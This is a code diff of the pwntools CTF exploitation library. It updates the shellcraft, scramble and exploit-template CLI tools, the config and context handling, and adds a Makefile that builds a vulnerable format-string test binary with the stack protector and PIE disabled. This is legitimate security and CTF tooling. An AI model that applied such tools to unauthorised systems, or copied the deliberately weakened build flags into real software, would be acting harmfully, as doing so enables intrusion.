@@ -85,12 +86,12 @@ def main(args):
     text.when = color
 
     if skip:
-        if infile == sys.stdin:
-            infile.read(skip)
-        else:
+        try:
             infile.seek(skip, os.SEEK_CUR)
+        except IOError:
+            infile.read(skip)
 
-    if count:
+    if count != -1:
         infile = io.BytesIO(infile.read(count))
 
     hl = []

pwnlib/commandline/pwnstrip.py

@@ -12,6 +12,7 @@ from pwnlib.commandline import common
 p = common.parser_commands.add_parser(
     'pwnstrip',
     help = 'Strip binaries for CTF usage',
+    description = 'Strip binaries for CTF usage'
 )
 
 g = p.add_argument_group("actions")

pwnlib/commandline/scramble.py

@@ -12,7 +12,8 @@ from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
     'scramble',
-    help = 'Shellcode encoder'
+    help = 'Shellcode encoder',
+    description = 'Shellcode encoder'
 )
 
 parser.add_argument(
@@ -80,8 +81,8 @@ def main(args):
         parser.print_usage()
         sys.exit(0)
 
-    data   = sys.stdin.read()
-    output = data
+    stdin_buffer = getattr(sys.stdin, 'buffer', sys.stdin)
+    output = stdin_buffer.read()
     fmt    = args.format or ('hex' if tty else 'raw')
     formatters = {'r':bytes, 'h':enhex, 's':repr}
 

pwnlib/commandline/shellcraft.py

@@ -35,6 +35,7 @@ def _string(s):
 p = common.parser_commands.add_parser(
     'shellcraft',
     help = 'Microwave shellcode -- Easy, fast and delicious',
+    description = 'Microwave shellcode -- Easy, fast and delicious',
 )
 
 
@@ -198,11 +199,11 @@ def main(args):
         common.parser.print_usage()
         exit()
 
-    if args.shellcode not in shellcraft.templates:
+    try:
+        func = get_template(args.shellcode)
+    except AttributeError:
         log.error("Unknown shellcraft template %r. Use --list to see available shellcodes." % args.shellcode)
 
-    func = get_template(args.shellcode)
-
     if args.show:
         # remove doctests
         doc = []
@@ -295,7 +296,7 @@ def main(args):
 
     vma = args.address
     if vma:
-        vma = eval(vma)
+        vma = pwnlib.util.safeeval.expr(vma)
 
     if args.format in ['e','elf']:
         args.format = 'default'

pwnlib/commandline/template.py

@@ -11,16 +11,18 @@ from mako.lookup import TemplateLookup
 
 parser = common.parser_commands.add_parser(
     'template',
-    help = 'Generate an exploit template'
+    help = 'Generate an exploit template',
+    description = 'Generate an exploit template'
 )
 
 parser.add_argument('exe', nargs='?', help='Target binary')
 parser.add_argument('--host', help='Remote host / SSH server')
 parser.add_argument('--port', help='Remote port / SSH port', type=int)
 parser.add_argument('--user', help='SSH Username')
-parser.add_argument('--pass', help='SSH Password', dest='password')
+parser.add_argument('--pass', '--password', help='SSH Password', dest='password')
 parser.add_argument('--path', help='Remote path of file on SSH server')
 parser.add_argument('--quiet', help='Less verbose template comments', action='store_true')
+parser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto')
 
 def main(args):
     cache = None
@@ -40,7 +42,14 @@ def main(args):
             log.error("Must specify --path or a exe")
 
         s = ssh(args.user, args.host, args.port or 22, args.password or None)
-        s.download(args.path or args.exe)
+
+        try:
+            remote = args.path or args.exe
+            s.download(remote)
+        except Exception:
+            log.warning("Could not download file %r, opening a shell", remote)
+            s.interactive()
+            return
 
         if not args.exe:
             args.exe = os.path.basename(args.path)
@@ -57,8 +66,16 @@ def main(args):
     # Fix Mako formatting bs
     output = re.sub('\n\n\n', '\n\n', output)
 
+    # Colorize the output if it's a TTY
+    if args.color == 'always' or (args.color == 'auto' and sys.stdout.isatty()):
+        from pygments import highlight
+        from pygments.formatters import TerminalFormatter
+        from pygments.lexers.python import PythonLexer
+        output = highlight(output, PythonLexer(), TerminalFormatter())
+
     print(output)
 
+    # If redirected to a file, make the resulting script executable
     if not sys.stdout.isatty():
         try: os.fchmod(sys.stdout.fileno(), 0o700)
         except OSError: pass

pwnlib/commandline/unhex.py

@@ -11,9 +11,9 @@ from pwnlib.util.fiddling import unhex
 
 parser = common.parser_commands.add_parser(
     'unhex',
-    help = '''
-Decodes hex-encoded data provided on the command line or via stdin.
-''')
+    help = 'Decodes hex-encoded data provided on the command line or via stdin.',
+    description = 'Decodes hex-encoded data provided on the command line or via stdin.'
+)
 
 parser.add_argument('hex', nargs='*',
     help='Hex bytes to decode')
@@ -30,4 +30,4 @@ def main(args):
         sys.stderr.write(str(e) + '\n')
 
 if __name__ == '__main__':
-    pwnlib.commandline.common.main(__file__)
+    common.main(__file__)

pwnlib/commandline/update.py

@@ -12,7 +12,8 @@ from pwnlib.commandline import common
 
 p = common.parser_commands.add_parser(
     'update',
-    help = 'Check for pwntools updates'
+    help = 'Check for pwntools updates',
+    description = 'Check for pwntools updates'
 )
 
 p.add_argument('--install', action='store_true', help='''

pwnlib/commandline/version.py

@@ -0,0 +1,32 @@
+#!/usr/bin/env python
+from __future__ import absolute_import
+from __future__ import division
+
+import os
+import subprocess
+
+import pwnlib
+pwnlib.args.free_form = False
+
+from pwn import *
+from pwnlib.commandline import common
+
+parser = common.parser_commands.add_parser(
+    'version',
+    help = 'Pwntools version',
+    description = 'Pwntools version'
+)
+
+def main(a):
+	version = pwnlib.version
+
+	git_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))
+	if os.path.exists(os.path.join(git_root, '.git')):
+		gitver = subprocess.check_output(['git', '-C', git_root, 'log', '-1', '--format=%h (%cr)'])
+		branch = subprocess.check_output(['git', '-C', git_root, 'rev-parse', '--abbrev-ref', 'HEAD'])
+		version = '%s-%s-%s' % (version, branch.decode().strip(), gitver.decode())
+
+	log.info("Pwntools v%s" % version)
+
+if __name__ == '__main__':
+    pwnlib.commandline.common.main(__file__)

pwnlib/config.py

@@ -5,7 +5,9 @@ The list of configurable options includes all of the logging symbols
 and colors, as well as all of the default values on the global context
 object.
 
-The configuration file is read from ``~/.pwn.conf`` and ``/etc/pwn.conf``.
+The configuration file is read from ``~/.pwn.conf``, ``$XDG_CONFIG_HOME/pwn.conf``
+(``$XDG_CONFIG_HOME`` defaults to ``~/.config``, per XDG Base Directory Specification),
+and ``/etc/pwn.conf``.
 
 The configuration file is only read in ``from pwn import *`` mode, and not
 when used in library mode (``import pwnlib``).  To read the configuration
@@ -26,6 +28,9 @@ supported by ``pwnlib.util.safeeval.expr``.
     randomize=1
     timeout=60
     terminal=['x-terminal-emulator', '-e']
+
+    [update]
+    interval=7
 """
 from __future__ import absolute_import
 from __future__ import division
@@ -50,8 +55,13 @@ def initialize():
     from pwnlib.log import getLogger
     log = getLogger(__name__)
 
+    xdg_config_home = (os.environ.get('XDG_CONFIG_HOME') or
+                       os.path.expanduser("~/.config"))
+
     c = configparser.ConfigParser()
-    c.read(['/etc/pwn.conf', os.path.expanduser('~/.pwn.conf')])
+    c.read(['/etc/pwn.conf',
+            os.path.join(xdg_config_home, 'pwn.conf'),
+            os.path.expanduser('~/.pwn.conf')])
 
     for section in c.sections():
         if section not in registered_configs:

pwnlib/constants/__init__.py

@@ -92,7 +92,7 @@ class ConstantsModule(ModuleType):
         # Special case for __all__, we want to return the contextually
         # relevant module.
         if key == '__all__':
-            return self.guess().__dict__.keys()
+            return list(self.guess().__dict__.keys())
 
         # Special case for all other special properties which aren't defined
         if key.endswith('__'):
@@ -145,7 +145,13 @@ class ConstantsModule(ModuleType):
         if key not in self._env_store:
             self._env_store[key] = {key: getattr(self, key) for key in dir(self) if not key.endswith('__')}
 
-        return Constant('(%s)' % string, safeeval.values(string, self._env_store[key]))
+        val = safeeval.values(string, self._env_store[key])
+
+        # if the expression is not assembly-safe, it is not so vital to preserve it
+        if set(string) & (set(bytearray(range(32)).decode()) | set('"#$\',.;@[\\]`{}')):
+            string = val
+
+        return Constant('(%s)' % string, val)
 
 
 # To prevent garbage collection

pwnlib/context/__init__.py

@@ -1,4 +1,3 @@
-#!/usr/bin/env python2
 # -*- coding: utf-8 -*-
 """
 Implements context management so that nested/scoped contexts and threaded
@@ -27,6 +26,11 @@ from pwnlib.config import register_config
 from pwnlib.device import Device
 from pwnlib.timeout import Timeout
 
+try:
+    from collections.abc import Iterable
+except ImportError:
+    from collections import Iterable
+
 __all__ = ['context', 'ContextType', 'Thread']
 
 _original_socket = socket.socket
@@ -354,17 +358,18 @@ class ContextType(object):
         'log_console': sys.stdout,
         'randomize': False,
         'rename_corefiles': True,
-        'newline': '\n',
+        'newline': b'\n',
         'noptrace': False,
         'os': 'linux',
         'proxy': None,
+        'ssh_session': None,
         'signed': False,
         'terminal': tuple(),
         'timeout': Timeout.maximum,
     }
 
     #: Valid values for :meth:`pwnlib.context.ContextType.os`
-    oses = sorted(('linux','freebsd','windows','cgc','android'))
+    oses = sorted(('linux','freebsd','windows','cgc','android','baremetal'))
 
     big_32    = {'endian': 'big', 'bits': 32}
     big_64    = {'endian': 'big', 'bits': 64}
@@ -544,14 +549,66 @@ class ContextType(object):
     @property
     def quiet(self, function=None):
         """Disables all non-error logging within the enclosed scope,
-        *unless* the debugging level is set to 'debug' or lower."""
+        *unless* the debugging level is set to 'debug' or lower.
+
+        Example:
+
+            Let's assume the normal situation, where log_level is INFO.
+
+            >>> context.clear(log_level='info')
+
+            Note that only the log levels below ERROR do not print anything.
+
+            >>> with context.quiet:
+            ...     log.debug("DEBUG")
+            ...     log.info("INFO")
+            ...     log.warn("WARN")
+
+            Next let's try with the debugging level set to 'debug' before we
+            enter the context handler:
+
+            >>> with context.local(log_level='debug'):
+            ...     with context.quiet:
+            ...         log.debug("DEBUG")
+            ...         log.info("INFO")
+            ...         log.warn("WARN")
+            [DEBUG] DEBUG
+            [*] INFO
+            [!] WARN
+        """
         level = 'error'
         if context.log_level <= logging.DEBUG:
             level = None
         return self.local(function, log_level=level)
 
     def quietfunc(self, function):
-        """Similar to :attr:`quiet`, but wraps a whole function."""
+        """Similar to :attr:`quiet`, but wraps a whole function.
+
+        Example:
+
+            Let's set up two functions, which are the same but one is
+            wrapped with :attr:`quietfunc`.
+
+            >>> def loud(): log.info("Loud")
+            >>> @context.quietfunc
+            ... def quiet(): log.info("Quiet")
+
+            If we set the logging level to 'info', the loud function
+            prints its contents.
+
+            >>> with context.local(log_level='info'): loud()
+            [*] Loud
+
+            However, the quiet function does not, since :attr:`quietfunc`
+            silences all output unless the log level is DEBUG.
+
+            >>> with context.local(log_level='info'): quiet()
+
+            Now let's try again with debugging enabled.
+
+            >>> with context.local(log_level='debug'): quiet()
+            [*] Quiet
+        """
         @functools.wraps(function)
         def wrapper(*a, **kw):
             level = 'error'
@@ -565,6 +622,28 @@ class ContextType(object):
     @property
     def verbose(self):
         """Enable all logging within the enclosed scope.
+
+        This is the opposite of :attr:`.quiet` and functionally equivalent to:
+
+        .. code-block:: python
+
+            with context.local(log_level='debug'):
+                ...
+
+        Example:
+
+            Note that the function does not emit any information by default
+
+            >>> context.clear()
+            >>> def func(): log.debug("Hello")
+            >>> func()
+
+            But if we put it inside a :attr:`.verbose` context manager, the
+            information is printed.
+
+            >>> with context.verbose: func()
+            [DEBUG] Hello
+
         """
         return self.local(log_level='debug')
 
@@ -598,7 +677,7 @@ class ContextType(object):
 
     @property
     def native(self):
-        if context.os in ('android', 'cgc'):
+        if context.os in ('android', 'baremetal', 'cgc'):
             return False
 
         arch = context.arch
@@ -839,6 +918,8 @@ class ContextType(object):
                 return b.decode('utf-8')
             except UnicodeDecodeError:
                 return b.decode('latin1')
+            except AttributeError:
+                return b
         return b.decode(self.encoding)
 
     @_validator
@@ -925,20 +1006,22 @@ class ContextType(object):
         Examples:
 
 
-            >>> context.log_file = 'foo.txt' #doctest: +ELLIPSIS
-            >>> log.debug('Hello!') #doctest: +ELLIPSIS
+            >>> foo_txt = tempfile.mktemp()
+            >>> bar_txt = tempfile.mktemp()
+            >>> context.log_file = foo_txt
+            >>> log.debug('Hello!')
             >>> with context.local(log_level='ERROR'): #doctest: +ELLIPSIS
             ...     log.info('Hello again!')
-            >>> with context.local(log_file='bar.txt'):
+            >>> with context.local(log_file=bar_txt):
             ...     log.debug('Hello from bar!')
             >>> log.info('Hello from foo!')
-            >>> open('foo.txt').readlines()[-3] #doctest: +ELLIPSIS
+            >>> open(foo_txt).readlines()[-3] #doctest: +ELLIPSIS
             '...:DEBUG:...:Hello!\n'
-            >>> open('foo.txt').readlines()[-2] #doctest: +ELLIPSIS
+            >>> open(foo_txt).readlines()[-2] #doctest: +ELLIPSIS
             '...:INFO:...:Hello again!\n'
-            >>> open('foo.txt').readlines()[-1] #doctest: +ELLIPSIS
+            >>> open(foo_txt).readlines()[-1] #doctest: +ELLIPSIS
             '...:INFO:...:Hello from foo!\n'
-            >>> open('bar.txt').readlines()[-1] #doctest: +ELLIPSIS
+            >>> open(bar_txt).readlines()[-1] #doctest: +ELLIPSIS
             '...:DEBUG:...:Hello from bar!\n'
         """
         if isinstance(value, (bytes, six.text_type)):
@@ -1012,7 +1095,7 @@ class ContextType(object):
             >>> context.os = 'foobar' #doctest: +ELLIPSIS
             Traceback (most recent call last):
             ...
-            AttributeError: os must be one of ['android', 'cgc', 'freebsd', 'linux', 'windows']
+            AttributeError: os must be one of ['android', 'baremetal', 'cgc', 'freebsd', 'linux', 'windows']
         """
         os = os.lower()
 
@@ -1117,7 +1200,7 @@ class ContextType(object):
         if isinstance(proxy, str):
             proxy = (socks.SOCKS5, proxy)
 
-        if not isinstance(proxy, collections.Iterable):
+        if not isinstance(proxy, Iterable):
             raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy')
 
         socks.set_default_proxy(*proxy)
@@ -1225,12 +1308,13 @@ class ContextType(object):
             >>> cache_dir == context.cache_dir
             True
         """
-        home = os.path.expanduser('~')
+        xdg_cache_home = os.environ.get('XDG_CACHE_HOME') or \
+                         os.path.join(os.path.expanduser('~'), '.cache')
 
-        if not os.access(home, os.W_OK):
+        if not os.access(xdg_cache_home, os.W_OK):
             return None
 
-        cache = os.path.join(home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
+        cache = os.path.join(xdg_cache_home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
 
         if not os.path.exists(cache):
             try:
@@ -1271,6 +1355,15 @@ class ContextType(object):
         """
         return bool(v)
 
+    @_validator
+    def newline(self, v):
+        """Line ending used for Tubes by default.
+
+        This configures the newline emitted by e.g. ``sendline`` or that is used
+        as a delimiter for e.g. ``recvline``.
+        """
+        return six.ensure_binary(v)
+
 
     @_validator
     def gdbinit(self, value):
@@ -1314,6 +1407,15 @@ class ContextType(object):
 
         return size
 
+    @_validator
+    def ssh_session(self, shell):
+        from pwnlib.tubes.ssh import ssh
+
+        if not isinstance(shell, ssh):
+            raise AttributeError("context.ssh_session must be an ssh tube") 
+
+        return shell
+
     #*************************************************************************
     #                               ALIASES
     #*************************************************************************

pwnlib/data/elf/__init__.py

@@ -1,5 +1,7 @@
 from __future__ import absolute_import
+from pwnlib.data.elf import fmtstr
 from pwnlib.data.elf import relro
+from pwnlib.data.elf import ret2dlresolve
 
 import os
 path = os.path.dirname(__file__)

pwnlib/data/elf/fmtstr/Makefile

@@ -0,0 +1,5 @@
+
+all: i386
+
+i386: vuln.c
+	gcc "$^" -fno-stack-protector -no-pie -m32 -o $@

pwnlib/data/elf/fmtstr/__init__.py

@@ -0,0 +1,5 @@
+import os
+path = os.path.dirname(__file__)
+
+def get(x):
+    return os.path.join(path, x)